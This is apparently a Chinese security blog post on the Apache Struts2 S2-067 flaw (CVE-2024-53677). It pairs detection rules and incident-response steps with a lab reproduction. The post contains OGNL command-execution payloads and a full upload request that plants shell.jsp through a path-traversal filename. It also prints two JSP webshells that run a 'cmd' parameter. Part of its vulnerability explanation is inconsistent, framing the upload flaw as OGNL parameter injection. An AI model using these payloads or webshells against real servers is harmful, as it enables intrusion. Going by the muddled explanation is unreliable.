struts2/s2-067
一、漏洞概述
漏洞编号 :CVE-2024-53677
官方编号 :S2-067
影响组件 :Apache Struts 2
漏洞类型 :OGNL 表达式注入 → 远程代码执行(RCE)
漏洞根因 :错误的输入处理 + 参数强制解析为 OGNL 表达式
影响版本:Struts 2.0.x ~ 2.5.x 某些版本(具体以官方公告为准)
该漏洞属于 Struts2 系列经典问题的延续 ------ 用户输入在 OGNL 表达式上下文中被解释执行。
二、漏洞原理分析
1️⃣ Struts2 请求处理机制
Struts2 使用:
-
ParametersInterceptor -
ValueStack -
OGNL
请求参数会被自动压入 ValueStack,并通过 OGNL 解析。
如果开发者没有正确限制表达式求值环境,攻击者可以构造如下参数:
js
GET /index.action?name=%{(#a=@java.lang.Runtime@getRuntime().exec('id'))}
当框架错误解析 %{} 时,OGNL 会执行内部表达式。
2️⃣ 漏洞触发流程图


流程说明:
js
HTTP Request
↓
ParametersInterceptor
↓
ValueStack.setValue()
↓
OGNL 解析表达式
↓
Runtime.exec()
↓
RCE
三、攻击链路构建(Kill Chain)
1️⃣ Recon(侦察)
-
识别 Struts2 版本
-
探测
.action端点 -
利用报错信息判断 OGNL 可执行性
2️⃣ Weaponization(武器化)
构造恶意 OGNL:
js
%{(#_memberAccess['allowStaticMethodAccess']=true)
(#cmd='whoami')
(#p=new java.lang.ProcessBuilder(#cmd.split(' ')))
(#p.start())}
3️⃣ Delivery
通过 GET / POST 参数提交
4️⃣ Exploitation
触发 OGNL 表达式执行
5️⃣ Post-Exploitation
-
写 Webshell
-
横向移动
-
数据窃取
四、威胁建模(STRIDE)
| 类别 | 体现 |
|---|---|
| Spoofing | 伪造用户身份 |
| Tampering | 修改服务器状态 |
| Repudiation | 隐蔽命令执行 |
| Information Disclosure | 读取敏感文件 |
| Denial of Service | fork bomb |
| Elevation of Privilege | 执行系统命令 |
五、MITRE ATT&CK 映射
| 战术 | 技术 |
|---|---|
| Initial Access | T1190 Exploit Public-Facing Application |
| Execution | T1059.003 Java |
| Persistence | T1505.003 Web Shell |
| Defense Evasion | T1562 Impair Defenses |
| Discovery | T1083 File and Directory Discovery |
| Lateral Movement | T1021 Remote Services |
| Impact | T1499 Resource Hijacking |
六、修复建议(基于 Apache 官方建议)
✅ 1. 升级
升级到官方修复版本(Apache Struts 官方公告给出修复版本)。
✅ 2. 禁止静态方法访问
在 struts.xml 中:
js
<constant name="struts.ognl.allowStaticMethodAccess" value="false"/>
✅ 3. 开启严格方法调用
js
<constant name="struts.enable.DynamicMethodInvocation" value="false"/>
七、安全编码修复示例(伪代码)
❌ 漏洞代码
js
public String execute() {
String name = request.getParameter("name");
valueStack.setValue("username", name); // 直接解析
}
✅ 修复代码
js
public String execute() {
String name = request.getParameter("name");
if (containsOGNLExpression(name)) {
throw new SecurityException("Invalid input");
}
valueStack.setValue("username", escapeHtml(name));
}
输入检测函数
js
boolean containsOGNLExpression(String input) {
return input.contains("%{") ||
input.contains("#") ||
input.contains("@java.lang.Runtime");
}
八、检测与防护规则
1️⃣ WAF 规则示例
正则检测
js
%{.*@java.lang.Runtime
js
#_memberAccess
js
ProcessBuilder
2️⃣ Suricata 示例
js
alert http any any -> any any (
msg:"Struts2 S2-067 OGNL RCE Attempt";
content:"%{"; http_uri;
content:"java.lang.Runtime"; distance:0;
sid:200067; rev:1;
)
3️⃣ 日志检测(SIEM 规则思路)
js
WHERE request_uri LIKE "%@java.lang.Runtime%"
OR request_uri LIKE "%ProcessBuilder%"
九、应急响应流程
1️⃣ 确认入侵
js
grep -R "java.lang.Runtime" /var/log/tomcat/
js
grep -R "%{" /var/log/nginx/
2️⃣ 查看可疑进程
js
ps aux | grep java
3️⃣ 网络连接检查
js
netstat -antp | grep ESTABLISHED
4️⃣ 查找 Webshell
js
find /var/www -type f -name "*.jsp" -mtime -3
5️⃣ 主机隔离
js
iptables -A INPUT -j DROP
十、攻击链全景图(简化示意)
js
Internet
↓
Struts2 应用
↓
OGNL 注入
↓
Runtime.exec()
↓
写 WebShell
↓
横向移动
↓
数据窃取
十一、实战风险总结
S2-067 与历史经典漏洞高度相似,例如:
-
Apache Struts
-
CVE-2017-5638(Equifax 事件核心漏洞)
这类漏洞一旦暴露公网,通常会被自动化扫描器 24 小时内攻击。
十二、防御分层建议
| 层级 | 建议 |
|---|---|
| 应用层 | 升级 + 关闭动态方法 |
| 框架层 | 禁止 OGNL 静态方法 |
| 网络层 | WAF 规则拦截 |
| 主机层 | EDR 监控 Runtime.exec |
| 运维层 | 不暴露调试模式 |
准备工作
Docker的常用命令
bash
docker compose pull #将远程镜像拉取到本地
docker compose up -d #启动容器,并且不包含下载日志
docker ps #查看开放端口
docker compose logs #查看日志
docker compose down #销毁容器
docker compose build #重启容器
docker compose exec web bash #进入名为web的服务容器并打开 Bash 终端的命令
漏洞复现
在s2-066未修复版本中,如果直接上传shell.jsp,虽然即使shell.jsp上传成功,但是后续命令无法拼接执行。所以后面也要吸取这次教训,抓紧验证命令执行,这才是真正的执行成功。
js
POST /index.action HTTP/1.1
Host: 192.168.0.41:8080
Content-Length: 346
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.41:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykTAs4eMvdc3dwYhM
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.0.41:8080/index.action
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=60A6C7264A026F76DBD2BF28D6492505
Connection: close
------WebKitFormBoundarykTAs4eMvdc3dwYhM
Content-Disposition: form-data; name="file"; filename="shell.jsp"
Content-Type: application/octet-stream
%
out.println("hello world");
%>
------WebKitFormBoundarykTAs4eMvdc3dwYhM
Content-Disposition: form-data; name="top.fileFileName"
../shell.jsp
------WebKitFormBoundarykTAs4eMvdc3dwYhM--
在s2-066中的File字段值已经无法再s2-067执行,所以推测官方更新了过滤输入大小写敏感的补丁。与s2-066相比,s2-067还需更改为top.fileFilename。

攻击链路为:写入shell.jsp木马-->抓包修改name字段-->输入url查看执行效果。
此外,由于本人的好奇心理,同时对以下俩个jsp进行了上传,但奇怪的是服务器直接拦截了这俩个jsp木马,因而后续命令也无法执行。
js
<%
Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
InputStream inputStream = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while ((line = bufferedReader.readLine())!=null){
response.getWriter().print(line);
}
%>
<%
Runtime.getRuntime().exec(request.getParameter("cmd"));
%>
所以我推测了一下输出hello world的作用,其实原理和xss漏洞类似。虽然该命令执行没有获取敏感信息的操作,但是如果攻击者恶意执行相关命令,可能会诱导用户泄露Cookie,Session等字段,从而达到远控的目的。
此外,我还尝试复现spring/CVE-2022-22978。但是由于种种原因无法启动环境,后续有空到vulfocus复现。


创作声明
AI创作声明
本文由AI辅助创作,经作者人工审核与修订。内容旨在技术交流与学习,如有疏漏或错误,欢迎指正。
免责声明
本文内容仅供学习与研究用途,不保证完全准确或适用于所有环境。读者依据本文操作所产生的一切后果,作者及平台不承担任何法律责任。请遵守法律法规,勿将技术用于非法目的。
版权声明
本文为原创内容,版权归作者所有。未经授权,禁止商业用途转载。非商业转载请注明出处并保留本声明。